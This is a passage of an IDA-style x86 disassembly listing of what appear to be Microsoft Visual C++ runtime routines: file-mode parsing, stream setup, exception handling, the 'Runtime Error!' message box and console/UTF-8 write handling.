--------------------------------------------------------------------------- loc_413CE5: ; CODE XREF: sub_413BFD+B7j test byte ptr [ebp+arg_4], 40h jnz loc_413DA3 or [ebp+arg_4], 40h jmp loc_413DAE ; --------------------------------------------------------------------------- loc_413CF8: ; CODE XREF: sub_413BFD+B2j mov [ebp+var_10], 1 jmp loc_413DA3 ; --------------------------------------------------------------------------- loc_413D04: ; CODE XREF: sub_413BFD+AFj test byte ptr [ebp+arg_4], 2 jnz loc_413DA3 mov eax, [ebp+arg_4] and eax, 0FFFFFFFEh or eax, 2 mov [ebp+arg_4], eax mov eax, [ebp+var_4] and eax, 0FFFFFFFCh or eax, edx mov [ebp+var_4], eax jmp loc_413DAE ; --------------------------------------------------------------------------- loc_413D2A: ; CODE XREF: sub_413BFD+9Dj cmp [ebp+var_8], ebx jnz short loc_413DA3 or [ebp+arg_4], 20h mov [ebp+var_8], 1 jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413D3C: ; CODE XREF: sub_413BFD+97j sub eax, 54h jz short loc_413D9B sub eax, 0Eh jz short loc_413D8A dec eax jz short loc_413D79 sub eax, 0Bh jz short loc_413D64 sub eax, 6 jnz loc_413E3E test word ptr [ebp+arg_4], 0C000h jnz short loc_413DA3 or [ebp+arg_4], edi jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413D64: ; CODE XREF: sub_413BFD+14Fj cmp [ebp+var_C], ebx jnz short loc_413DA3 and [ebp+var_4], 0FFFFBFFFh mov [ebp+var_C], 1 jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413D79: ; CODE XREF: sub_413BFD+14Aj cmp [ebp+var_C], ebx jnz short loc_413DA3 or [ebp+var_4], edi mov [ebp+var_C], 1 jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413D8A: ; CODE XREF: sub_413BFD+147j test word ptr [ebp+arg_4], 0C000h jnz short loc_413DA3 or [ebp+arg_4], 8000h jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413D9B: ; CODE XREF: sub_413BFD+142j test word ptr [ebp+arg_4], 1000h jz short loc_413DA7 loc_413DA3: ; CODE XREF: sub_413BFD+CAj ; sub_413BFD+ECj ... xor ecx, ecx jmp short loc_413DAE ; --------------------------------------------------------------------------- loc_413DA7: ; CODE XREF: sub_413BFD+1A4j or [ebp+arg_4], 1000h loc_413DAE: ; CODE XREF: sub_413BFD+A6j ; sub_413BFD+DBj ... inc esi mov al, [esi] cmp al, bl jnz loc_413C86 loc_413DB9: ; CODE XREF: sub_413BFD+8Bj cmp [ebp+var_10], ebx jz short loc_413E35 jmp short loc_413DC1 ; --------------------------------------------------------------------------- loc_413DC0: ; CODE XREF: sub_413BFD+1C7j inc esi loc_413DC1: ; CODE XREF: sub_413BFD+1C1j cmp byte ptr [esi], 20h jz short loc_413DC0 push 4 push esi push offset dword_41C820 call sub_4197E9 add esp, 0Ch test eax, eax jnz short loc_413E3E add esi, 4 push offset dword_41C828 push esi call sub_41966D test eax, eax pop ecx pop ecx jnz short loc_413DFA add esi, 5 or [ebp+arg_4], 40000h jmp short loc_413E35 ; --------------------------------------------------------------------------- loc_413DFA: ; CODE XREF: sub_413BFD+1EFj push offset dword_41C830 push esi call sub_41966D test eax, eax pop ecx pop ecx jnz short loc_413E17 add esi, 8 or [ebp+arg_4], 20000h jmp short loc_413E35 ; --------------------------------------------------------------------------- loc_413E17: ; CODE XREF: sub_413BFD+20Cj push offset aUnicode ; "UNICODE" push esi call sub_41966D test eax, eax pop ecx pop ecx jnz short loc_413E3E add esi, 7 or [ebp+arg_4], 10000h jmp short loc_413E35 ; --------------------------------------------------------------------------- loc_413E34: ; CODE XREF: sub_413BFD+23Bj inc esi loc_413E35: ; CODE XREF: sub_413BFD+79j ; sub_413BFD+1BFj ... cmp byte ptr [esi], 20h jz short loc_413E34 cmp [esi], bl jz short loc_413E58 loc_413E3E: ; CODE XREF: sub_413BFD+C1j ; sub_413BFD+154j ... call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h jmp short loc_413E76 ; --------------------------------------------------------------------------- loc_413E58: ; CODE XREF: sub_413BFD+23Fj push 180h push [ebp+arg_8] lea eax, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] push eax call sub_419435 add esp, 14h test eax, eax jz short loc_413E7A loc_413E76: ; CODE XREF: sub_413BFD+259j xor eax, eax jmp short loc_413E9A ; --------------------------------------------------------------------------- loc_413E7A: ; CODE XREF: sub_413BFD+277j mov eax, [ebp+arg_C] inc dword_42444C mov ecx, [ebp+var_4] mov [eax+0Ch], ecx mov ecx, [ebp+var_10] mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_413E9A: ; CODE XREF: sub_413BFD+27Bj pop edi loc_413E9B: ; CODE XREF: sub_413BFD+4Ej pop esi pop ebx leave retn sub_413BFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E9F proc near ; CODE XREF: sub_40F9A2+54p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_41FA90 call __SEH_prolog4 xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_413EBF: ; CODE XREF: sub_413E9F+85j mov [ebp+var_20], esi cmp esi, dword_426000 jge loc_413F8F mov eax, dword_424FE0 lea eax, [eax+esi*4] cmp [eax], ebx jz short loc_413F2A mov eax, [eax] test byte ptr [eax+0Ch], 83h jnz short loc_413F23 lea eax, [esi-3] cmp eax, 10h ja short loc_413EFC lea eax, [esi+10h] push eax call sub_416CE3 pop ecx test eax, eax jz loc_413F8F loc_413EFC: ; CODE XREF: sub_413E9F+49j mov eax, dword_424FE0 push dword ptr [eax+esi*4] push esi call sub_413B88 pop ecx pop ecx mov eax, dword_424FE0 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_413F26 push eax push esi call sub_413BDA pop ecx pop ecx loc_413F23: ; CODE XREF: sub_413E9F+41j inc esi jmp short loc_413EBF ; --------------------------------------------------------------------------- loc_413F26: ; CODE XREF: sub_413E9F+79j mov edi, eax jmp short loc_413F8C ; --------------------------------------------------------------------------- loc_413F2A: ; CODE XREF: sub_413E9F+39j shl esi, 2 push 38h call sub_412323 pop ecx mov ecx, dword_424FE0 mov [esi+ecx], eax mov eax, dword_424FE0 add eax, esi cmp [eax], ebx jz short loc_413F8F push 0FA0h mov eax, [eax] add eax, 20h push eax call sub_4182CC pop ecx pop ecx test eax, eax mov eax, dword_424FE0 jnz short loc_413F77 push dword ptr [esi+eax] call sub_41112C pop ecx mov eax, dword_424FE0 mov [esi+eax], ebx jmp short loc_413F8F ; --------------------------------------------------------------------------- loc_413F77: ; CODE XREF: sub_413E9F+C3j mov eax, [esi+eax] add eax, 20h push eax call dword_41C070 ; RtlEnterCriticalSection mov eax, dword_424FE0 mov edi, [esi+eax] loc_413F8C: ; CODE XREF: sub_413E9F+89j mov [ebp+var_1C], edi loc_413F8F: ; CODE XREF: sub_413E9F+29j ; sub_413E9F+57j ... cmp edi, ebx jz short loc_413FA5 mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_413FA5: ; CODE XREF: sub_413E9F+F2j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_413FBC mov eax, edi call __SEH_epilog4 retn sub_413E9F endp ; =============== S U B R O U T I N E ======================================= sub_413FB9 proc near ; DATA XREF: .vty:0041FAA8o mov edi, [ebp-1Ch] sub_413FB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413FBC proc near ; CODE XREF: sub_413E9F+10Dp push 1 call sub_416CCE pop ecx retn sub_413FBC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_413FC8 proc near ; CODE XREF: sub_40F9A2+8Ap ; sub_413FC8+BDp ... var_20 = dword ptr -20h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov edx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_8] push ebp push edx push eax push ecx push ecx push offset loc_414058 push large dword ptr fs:0 mov eax, dword_4231C4 xor eax, esp mov [esp+28h+var_20], eax mov large fs:0, esp loc_413FFA: ; CODE XREF: sub_413FC8+64j ; sub_413FC8+80j mov eax, [esp+28h+arg_4] mov ebx, [eax+8] mov ecx, [esp+28h+arg_0] xor ebx, [ecx] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFEh jz short loc_41404A mov edx, [esp+28h+arg_8] cmp edx, 0FFFFFFFEh jz short loc_41401C cmp esi, edx jbe short loc_41404A loc_41401C: ; CODE XREF: sub_413FC8+4Ej lea esi, [esi+esi*2] lea ebx, [ebx+esi*4+10h] mov ecx, [ebx] mov [eax+0Ch], ecx cmp dword ptr [ebx+4], 0 jnz short loc_413FFA push 101h mov eax, [ebx+8] call sub_419915 mov ecx, 1 mov eax, [ebx+8] call sub_419934 jmp short loc_413FFA ; --------------------------------------------------------------------------- loc_41404A: ; CODE XREF: sub_413FC8+45j ; sub_413FC8+52j pop large dword ptr fs:0 add esp, 18h pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_414058: ; DATA XREF: sub_413FC8+14o mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41409D mov eax, [esp+arg_4] mov ecx, [eax+8] xor ecx, eax call sub_410BCD push ebp mov ebp, [eax+18h] push dword ptr [eax+0Ch] push dword ptr [eax+10h] push dword ptr [eax+14h] call sub_413FC8 add esp, 0Ch pop ebp mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41409D: ; CODE XREF: sub_413FC8+A0j retn sub_413FC8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] push dword ptr [ecx+1Ch] push dword ptr [ecx+18h] push dword ptr [ecx+28h] call sub_413FC8 add esp, 0Ch pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_4140BA proc near ; CODE XREF: sub_412800+89p push ebp push esi push edi push ebx mov ebp, edx xor eax, eax xor ebx, ebx xor edx, edx xor esi, esi xor edi, edi call ecx pop ebx pop edi pop esi pop ebp retn sub_4140BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412800 loc_4140D1: ; CODE XREF: sub_412800+170j mov ebp, edx mov esi, ecx mov eax, ecx push 1 call sub_419915 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor edi, edi jmp esi ; END OF FUNCTION CHUNK FOR sub_412800 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140EA proc near ; CODE XREF: sub_412800+11Fp push ebp mov ebp, esp push ebx push esi push edi push 0 push 0 push offset loc_4140FF push ecx call sub_41AE3E ; RtlUnwind loc_4140FF: ; DATA XREF: sub_4140EA+Ao pop edi pop esi pop ebx pop ebp retn sub_4140EA endp ; =============== S U B R O U T I N E ======================================= sub_414104 proc near ; CODE XREF: sub_412800+137p ; sub_412800+18Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp mov ebp, [esp+4+arg_0] push edx push ecx push [esp+0Ch+arg_4] call sub_413FC8 add esp, 0Ch pop ebp retn 8 sub_414104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_41411B proc near ; CODE XREF: sub_40FB38+25j ; sub_416A48:loc_416A76p var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_4231C4 xor eax, ebp mov [ebp+2A8h+var_4], eax test byte ptr dword_423B20, 1 push esi jz short loc_414148 push 0Ah call sub_41422C pop ecx loc_414148: ; CODE XREF: sub_41411B+23j call sub_4180EB test eax, eax jz short loc_414159 push 16h call sub_4180F8 pop ecx loc_414159: ; CODE XREF: sub_41411B+34j test byte ptr dword_423B20, 2 jz loc_414206 mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_40DD10 lea eax, [ebp+2A8h+var_328] add esp, 0Ch mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] push 0 mov [ebp+2A8h+var_328], 40000015h mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call dword_41C110 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call dword_41C10C ; UnhandledExceptionFilter loc_414206: ; CODE XREF: sub_41411B+45j push 3 call sub_412726 int 3 ; Trap to Debugger loc_41420E: ; CODE XREF: sub_40FB38+1Dp mov ecx, [esp+338h+var_5D8] mov eax, dword_423B20 mov edx, [esp+338h+var_5DC] and edx, [esp+338h+var_5D8] not ecx and ecx, eax or ecx, edx mov dword_423B20, ecx retn sub_41411B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41422C proc near ; CODE XREF: sub_40FB38+14p ; sub_41056D+12p ... var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx push ebx mov ebx, [esp+8+arg_0] push esi push edi xor esi, esi xor edi, edi loc_414238: ; CODE XREF: sub_41422C+19j cmp ebx, dword_423B28[edi*8] jz short loc_414247 inc edi cmp edi, 17h jl short loc_414238 loc_414247: ; CODE XREF: sub_41422C+13j cmp edi, 17h jnb loc_4143C7 push ebp push 3 call sub_419AD5 cmp eax, 1 pop ecx jz loc_414393 push 3 call sub_419AD5 test eax, eax pop ecx jnz short loc_41427B cmp dword_4231A0, 1 jz loc_414393 loc_41427B: ; CODE XREF: sub_41422C+40j cmp ebx, 0FCh jz loc_4143C6 push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " mov ebx, 314h push ebx mov ebp, offset dword_424450 push ebp call sub_410FB5 add esp, 0Ch test eax, eax jz short loc_4142B1 push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h loc_4142B1: ; CODE XREF: sub_41422C+76j push 104h mov esi, offset byte_424469 push esi push 0 mov byte_42456D, 0 call dword_41C0C0 ; GetModuleFileNameA test eax, eax jnz short loc_4142F5 push offset aProgramNameUnk ; "<program name unknown>" push 2FBh push esi call sub_410FB5 add esp, 0Ch test eax, eax jz short loc_4142F5 xor eax, eax push eax push eax push eax push eax push eax call sub_40DBDC add esp, 14h loc_4142F5: ; CODE XREF: sub_41422C+A1j ; sub_41422C+B8j push esi call sub_40D970 inc eax cmp eax, 3Ch pop ecx jbe short loc_41433A push esi call sub_40D970 sub esi, 3Bh add eax, esi push 3 mov ecx, offset dword_424764 push offset a___ ; "..." sub ecx, eax push ecx push eax call sub_412B40 add esp, 14h test eax, eax jz short loc_41433A xor esi, esi push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h jmp short loc_41433C ; --------------------------------------------------------------------------- loc_41433A: ; CODE XREF: sub_41422C+D4j ; sub_41422C+FBj xor esi, esi loc_41433C: ; CODE XREF: sub_41422C+10Cj push offset asc_41CDC0 ; "\n\n" push ebx push ebp call sub_41889F add esp, 0Ch test eax, eax jz short loc_41435C push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h loc_41435C: ; CODE XREF: sub_41422C+121j push off_423B2C[edi*8] push ebx push ebp call sub_41889F add esp, 0Ch test eax, eax jz short loc_41437E push esi push esi push esi push esi push esi call sub_40DBDC add esp, 14h loc_41437E: ; CODE XREF: sub_41422C+143j push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebp call sub_419937 add esp, 0Ch jmp short loc_4143C6 ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_41422C+30j ; sub_41422C+49j push 0FFFFFFF4h call dword_41C180 ; GetStdHandle mov ebp, eax cmp ebp, esi jz short loc_4143C6 cmp ebp, 0FFFFFFFFh jz short loc_4143C6 push 0 lea eax, [esp+18h+var_4] push eax lea esi, ds:423B2Ch[edi*8] push dword ptr [esi] call sub_40D970 pop ecx push eax push dword ptr [esi] push ebp call dword_41C17C ; WriteFile loc_4143C6: ; CODE XREF: sub_41422C+55j ; sub_41422C+165j ... pop ebp loc_4143C7: ; CODE XREF: sub_41422C+1Ej pop edi pop esi pop ebx pop ecx retn sub_41422C endp ; =============== S U B R O U T I N E ======================================= sub_4143CC proc near ; CODE XREF: sub_41056D+9p ; sub_411069+23p ... push 3 call sub_419AD5 cmp eax, 1 pop ecx jz short loc_4143EE push 3 call sub_419AD5 test eax, eax pop ecx jnz short locret_414404 cmp dword_4231A0, 1 jnz short locret_414404 loc_4143EE: ; CODE XREF: sub_4143CC+Bj push 0FCh call sub_41422C push 0FFh call sub_41422C pop ecx pop ecx locret_414404: ; CODE XREF: sub_4143CC+17j ; sub_4143CC+20j retn sub_4143CC endp ; =============== S U B R O U T I N E ======================================= sub_414405 proc near ; CODE XREF: sub_412755+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_42476C, eax retn sub_414405 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=518h sub_41440F proc near ; CODE XREF: sub_4149D5+9Ap ; sub_41A3FB+BBp var_594 = dword ptr -594h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_56D = byte ptr -56Dh var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_410 = byte ptr -410h var_160 = byte ptr -160h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-518h] sub esp, 594h mov eax, dword_4231C4 xor eax, ebp mov [ebp+518h+var_4], eax mov eax, [ebp+518h+arg_4] push esi xor esi, esi cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_57C], eax mov [ebp+518h+var_578], esi mov [ebp+518h+var_580], esi jnz short loc_41444B xor eax, eax jmp loc_4149BF ; --------------------------------------------------------------------------- loc_41444B: ; CODE XREF: sub_41440F+33j cmp eax, esi jnz short loc_414476 call sub_40F7B1 mov [eax], esi call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp loc_4149BF ; --------------------------------------------------------------------------- loc_414476: ; CODE XREF: sub_41440F+3Ej mov esi, [ebp+518h+arg_0] push ebx mov ebx, esi and ebx, 1Fh imul ebx, 28h mov eax, esi sar eax, 5 push edi lea edi, ds:424EE0h[eax*4] mov eax, [edi] add eax, ebx mov cl, [eax+24h] add cl, cl sar cl, 1 cmp cl, 2 mov [ebp+518h+var_588], edi mov [ebp+518h+var_56D], cl jz short loc_4144AD cmp cl, 1 jnz short loc_4144E0 loc_4144AD: ; CODE XREF: sub_41440F+97j mov ecx, [ebp+518h+arg_8] not ecx test cl, 1 jnz short loc_4144E0 call sub_40F7B1 xor esi, esi mov [eax], esi call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h jmp loc_4149B5 ; --------------------------------------------------------------------------- loc_4144E0: ; CODE XREF: sub_41440F+9Cj ; sub_41440F+A9j test byte ptr [eax+4], 20h jz short loc_4144F5 push 2 push 0 push 0 push esi call sub_4178D6 add esp, 10h loc_4144F5: ; CODE XREF: sub_41440F+D5j push esi call sub_417AB6 test eax, eax pop ecx jz loc_4146FA mov eax, [edi] test byte ptr [ebx+eax+4], 80h jz loc_4146FA call sub_411FFD mov eax, [eax+6Ch] xor ecx, ecx cmp [eax+14h], ecx lea eax, [ebp+518h+var_594] setz cl push eax mov eax, [edi] push dword ptr [ebx+eax] mov esi, ecx call dword_41C188 ; GetConsoleMode test eax, eax jz loc_4146FA test esi, esi jz short loc_414548 cmp [ebp+518h+var_56D], 0 jz loc_4146FA loc_414548: ; CODE XREF: sub_41440F+12Dj call dword_41C184 ; GetConsoleCP and [ebp+518h+var_568], 0 cmp [ebp+518h+arg_8], 0 mov esi, [ebp+518h+var_57C] mov [ebp+518h+var_594], eax mov [ebp+518h+var_58C], esi jbe loc_414967 and [ebp+518h+var_574], 0 jmp short loc_414571 ; --------------------------------------------------------------------------- loc_41456E: ; CODE XREF: sub_41440F+2E0j mov esi, [ebp+518h+var_58C] loc_414571: ; CODE XREF: sub_41440F+15Dj mov al, [ebp+518h+var_56D] test al, al jnz loc_414682 mov al, [esi] xor ecx, ecx cmp al, 0Ah setz cl movsx eax, al push eax mov [ebp+518h+var_590], ecx call sub_4139BE test eax, eax pop ecx jnz short loc_4145B0 push 1 lea eax, [ebp+518h+var_56C] push esi push eax call sub_419CF0 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41495D jmp short loc_4145E0 ; --------------------------------------------------------------------------- loc_4145B0: ; CODE XREF: sub_41440F+185j mov eax, [ebp+518h+var_57C] sub eax, esi add eax, [ebp+518h+arg_8] cmp eax, 1 jbe loc_41495D push 2 lea eax, [ebp+518h+var_56C] push esi push eax call sub_419CF0 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41495D inc esi inc [ebp+518h+var_574] loc_4145E0: ; CODE XREF: sub_41440F+19Fj xor eax, eax push eax push eax push 5 lea ecx, [ebp+518h+var_C] push ecx push 1 lea ecx, [ebp+518h+var_56C] push ecx push eax push [ebp+518h+var_594] inc esi inc [ebp+518h+var_574] mov [ebp+518h+var_58C], esi call dword_41C170 ; WideCharToMultiByte mov esi, eax test esi, esi jz loc_41495D push 0 lea eax, [ebp+518h+var_568] push eax push esi lea eax, [ebp+518h+var_C] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_41C17C ; WriteFile test eax, eax jz loc_414954 mov eax, [ebp+518h+var_568] add [ebp+518h+var_578], eax cmp eax, esi jl loc_41495D cmp [ebp+518h+var_590], 0 jz loc_4146E6 push 0 lea eax, [ebp+518h+var_568] push eax push 1 lea eax, [ebp+518h+var_C] push eax mov eax, [edi] mov [ebp+518h+var_C], 0Dh push dword ptr [ebx+eax] call dword_41C17C ; WriteFile test eax, eax jz loc_414954 cmp [ebp+518h+var_568], 1 jl loc_41495D inc [ebp+518h+var_580] inc [ebp+518h+var_578] jmp short loc_4146E6 ; --------------------------------------------------------------------------- loc_414682: ; CODE XREF: sub_41440F+167j cmp al, 1 jz short loc_41468A cmp al, 2 jnz short loc_4146A5 loc_41468A: ; CODE XREF: sub_41440F+275j movzx ecx, word ptr [esi] xor edx, edx cmp cx, 0Ah setz dl inc esi inc esi add [ebp+518h+var_574], 2 mov [ebp+518h+var_56C], ecx mov [ebp+518h+var_58C], esi mov [ebp+518h+var_590], edx loc_4146A5: ; CODE XREF: sub_41440F+279j cmp al, 1 jz short loc_4146AD cmp al, 2 jnz short loc_4146E6 loc_4146AD: ; CODE XREF: sub_41440F+298j push [ebp+518h+var_56C] call sub_419B1B cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_414954 inc [ebp+518h+var_578] cmp [ebp+518h+var_590], 0 jz short loc_4146E6 push 0Dh pop eax push eax mov [ebp+518h+var_56C], eax call sub_419B1B cmp ax, word ptr [ebp+518h+var_56C] pop ecx jnz loc_414954 inc [ebp+518h+var_578] inc [ebp+518h+var_580] loc_4146E6: ; CODE XREF: sub_41440F+232j ; sub_41440F+271j ... mov eax, [ebp+518h+arg_8] cmp [ebp+518h+var_574], eax jb loc_41456E jmp loc_41495D ; --------------------------------------------------------------------------- loc_4146FA: ; CODE XREF: sub_41440F+EFj ; sub_41440F+FCj ... mov eax, [edi] add eax, ebx test byte ptr [eax+4], 80h jz loc_41492D mov eax, [ebp+518h+var_57C] xor esi, esi cmp [ebp+518h+var_56D], 0 mov [ebp+518h+var_56C], esi jnz loc_4147AB cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_41498E loc_414729: ; CODE XREF: sub_41440F+395j mov ecx, [ebp+518h+var_568] and [ebp+518h+var_574], 0 sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_414736: ; CODE XREF: sub_41440F+354j cmp ecx, [ebp+518h+arg_8] jnb short loc_414765 mov edx, [ebp+518h+var_568] inc [ebp+518h+var_568] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_414756 inc [ebp+518h+var_580] mov byte ptr [eax], 0Dh inc eax inc [ebp+518h+var_574] loc_414756: ; CODE XREF: sub_41440F+33Bj mov [eax], dl inc eax inc [ebp+518h+var_574] cmp [ebp+518h+var_574], 400h jb short loc_414736 loc_414765: ; CODE XREF: sub_41440F+32Dj mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_41C17C ; WriteFile test eax, eax jz loc_414954 mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_41495D mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb short loc_414729 jmp loc_41495D ; --------------------------------------------------------------------------- loc_4147AB: ; CODE XREF: sub_41440F+305j cmp [ebp+518h+var_56D], 2 jnz loc_414852 cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_568], eax jbe loc_41498E loc_4147C4: ; CODE XREF: sub_41440F+438j mov ecx, [ebp+518h+var_568] xor esi, esi sub ecx, [ebp+518h+var_57C] lea eax, [ebp+518h+var_564] loc_4147CF: ; CODE XREF: sub_41440F+3F7j cmp ecx, [ebp+518h+arg_8] jnb short loc_414808 mov edx, [ebp+518h+var_568] add [ebp+518h+var_568], 2 movzx edx, word ptr [edx] inc ecx inc ecx cmp dx, 0Ah jnz short loc_4147F6 add [ebp+518h+var_580], 2 mov word ptr [eax], 0Dh inc eax inc eax inc esi inc esi loc_4147F6: ; CODE XREF: sub_41440F+3D8j mov edi, [ebp+518h+var_588] mov [eax], dx inc eax inc eax inc esi inc esi cmp esi, 3FFh jb short loc_4147CF loc_414808: ; CODE XREF: sub_41440F+3C6j mov esi, eax lea eax, [ebp+518h+var_564] sub esi, eax push 0 lea eax, [ebp+518h+var_584] push eax push esi lea eax, [ebp+518h+var_564] push eax mov eax, [edi] push dword ptr [ebx+eax] call dword_41C17C ; WriteFile test eax, eax jz loc_414954 mov eax, [ebp+518h+var_584] add [ebp+518h+var_578], eax cmp eax, esi jl loc_41495D mov eax, [ebp+518h+var_568] sub eax, [ebp+518h+var_57C] cmp eax, [ebp+518h+arg_8] jb loc_4147C4 jmp loc_41495D ; --------------------------------------------------------------------------- loc_414852: ; CODE XREF: sub_41440F+3A0j cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_574], eax jbe loc_41498E loc_414861: ; CODE XREF: sub_41440F+516j mov ecx, [ebp+518h+var_574] and [ebp+518h+var_568], 0 sub ecx, [ebp+518h+var_57C] push 2 lea eax, [ebp+518h+var_160] pop esi loc_414874: ; CODE XREF: sub_41440F+497j cmp ecx, [ebp+518h+arg_8] jnb short loc_4148A8 mov edx, [ebp+518h+var_574] movzx edx, word ptr [edx] add [ebp+518h+var_574], esi add ecx, esi cmp dx, 0Ah jnz short loc_414897 mov word ptr [eax], 0Dh add eax, esi add [ebp+518h+var_568], esi loc_414897: ; CODE XREF: sub_41440F+47Cj add [ebp+518h+var_568], esi mov [eax], dx add eax, esi cmp [ebp+518h+var_568], 152h jb short loc_414874 loc_4148A8: ; CODE XREF: sub_41440F+46Bj xor esi, esi push esi push esi push 2ABh lea ecx, [ebp+518h+var_410] push ecx lea ecx, [ebp+518h+var_160] sub eax, ecx cdq sub eax, edx sar eax, 1 push eax mov eax, ecx push eax push esi push 0FDE9h call dword_41C170 ; WideCharToMultiByte mov edi, eax cmp edi, esi jz short loc_414954 loc_4148DB: ; CODE XREF: sub_41440F+4F6j push 0 lea eax, [ebp+518h+var_584] push eax mov eax, edi sub eax, esi push eax lea eax, [ebp+esi+518h+var_410] push eax mov eax, [ebp+518h+var_588] mov eax, [eax] push dword ptr [ebx+eax] call dword_41C17C ; WriteFile test eax, eax jz short loc_414909 add esi, [ebp+518h+var_584] cmp edi, esi jg short loc_4148DB jmp short loc_414912 ; --------------------------------------------------------------------------- 